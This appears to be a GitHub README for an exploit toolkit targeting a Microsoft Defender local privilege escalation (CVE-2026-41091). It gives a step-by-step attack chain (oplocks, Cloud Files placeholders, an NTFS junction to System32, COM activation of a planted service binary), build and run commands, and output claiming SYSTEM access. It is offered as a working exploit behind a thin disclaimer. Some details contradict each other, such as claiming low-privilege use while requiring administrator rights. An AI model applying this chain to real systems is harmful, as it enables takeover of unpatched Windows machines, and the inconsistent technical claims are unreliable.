CVE-2026-41091 RedSun | Microsoft Defender LPE exploit. Low-privileged users gain NT AUTHORITY\SYSTEM 🔥 via Cloud Files API + NTFS junction trickery. Forces Defender to write malicious payloads to System32 with SYSTEM rights. ⚠️ Actively exploited in wild. CVSS 7.8. Patch: Defender Engine 1.1.26040.8. 🛡️ Educational PoC only.
# CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit Toolkit
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Legal Disclaimer & Responsible Use
**This tool is provided for educational and authorized penetration testing purposes only.**
The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under applicable federal, state, and international cybercrime laws.
By using this software, you agree to:
- Use it only on systems you own or have explicit permission to test.
- Comply with all applicable local, state, and federal laws.
- Not use it for any malicious, destructive, or illegal activities.
> [!] **WARNING:** Active Directory elevation of privilege vulnerabilities present high risk to enterprise infrastructure. Unauthorized testing is strictly prohibited.
> **Microsoft Defender Link Following Vulnerability** - Local Privilege Escalation to NT AUTHORITY\SYSTEM
### The vulnerability is known as "RedSun", "SolarFlare" is the name I gave to my exploit.
## [<] Overview
This repository contains a **full working Proof of Concept (PoC)** exploit for **CVE-2026-41091**, a critical local privilege escalation vulnerability in Microsoft Defender (Microsoft Malware Protection Engine). By exploiting improper link resolution (CWE-59), an authenticated low-privileged attacker can gain **NT AUTHORITY\SYSTEM** privileges.
The vulnerability, also known as **"RedSun"** or **"SolarFlare"**, allows attackers to trick Microsoft Defender into writing arbitrary files to protected system locations with SYSTEM privileges using Cloud Files API (CfAPI) and NTFS junction points.
> **Note:** This repository includes two versions:
> - `basic_poc.cpp` - Simplified algorithm demonstration (educational)
> - `full_poc.cpp` - Complete working exploit with all features
### [-<] Key Features
| Category | Feature | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Exploitation** | Local Privilege Escalation to SYSTEM | `[+]` | `[+]` |
| | Cloud Files API (CfAPI) Integration | `[-]` | `[+]` |
| | Cloud Placeholder Creation | `[-]` | `[+]` |
| | NTFS Junction Redirection | `[~]` | `[+]` |
| | COM Service Activation | `[-]` | `[+]` |
| **Techniques** | Batch Oplock Abuse | `[+]` | `[+]` |
| | VSS Snapshot Detection | `[+]` | `[+]` |
| | EICAR Trigger | `[+]` | `[+]` |
| | NTFS Reparse Point (Mount Point) | `[+]` | `[+]` |
| | File Disposition (NtSetInformationFile) | `[-]` | `[+]` |
| | Named Pipe Session ID Detection | `[-]` | `[+]` |
| | Console Session Launch (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | SYSTEM Verification | `[-]` | `[+]` |
| **Target** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | x64 only | `[+]` | `[+]` |
| **Usability** | Structured Logging | `[~]` | `[+]` |
| | Error Handling | `[~]` | `[+]` |
| | Random Directory Names | `[+]` | `[+]` |
| | Automatic Cleanup | `[~]` | `[+]` |
| | Retry Logic (NtCreateFile) | `[-]` | `[+]` |
## [i] Vulnerability Details
| Attribute | Value |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **CVSS Score** | 7.8 (High) |
| **CVSS Vector** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Attack Vector** | Local |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Impact** | SYSTEM-level code execution |
| **CISA KEV** | [+] Yes (actively exploited in the wild) |
| **Patch Available** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Affected Products
| Product | Affected Versions | Fixed Versions |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Exploit Chain
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Installation
### Prerequisites
- Windows 10/11 or Windows Server 2019/2022
- Visual Studio 2019/2022 with C++ tools
- Administrative privileges (for execution)
### Build
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Usage
### Full Exploit (SYSTEM Privilege Escalation)
```bash
full_poc.exe
```
### Basic Algorithm Demonstration
```bash
basic_poc.exe
```
## [i] Example Output
### Full Exploit Output
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Basic PoC Output
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Build Instructions
### Using Visual Studio
1. Open Developer Command Prompt for VS 2022
2. Navigate to the exploit directory
3. Run:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Using CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Requirements & Limitations
| Requirement | Details |
|-------------|---------|
| **OS** | Windows 10/11, Server 2019/2022 |
| **Privileges** | Administrative (for execution) |
| **Defender** | Microsoft Defender must be enabled |
| **Internet** | Required for VSS snapshot detection |
| **Patch** | Only works on unpatched systems |
| **Architecture** | x64 only |
## Related Exploits
Check out my other exploit repositories:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - GNU inetutils-telnetd Auth Bypass
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - cPanel/WHM Authentication Bypass Exploit
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Android ADB Wireless Debugging Auth Bypass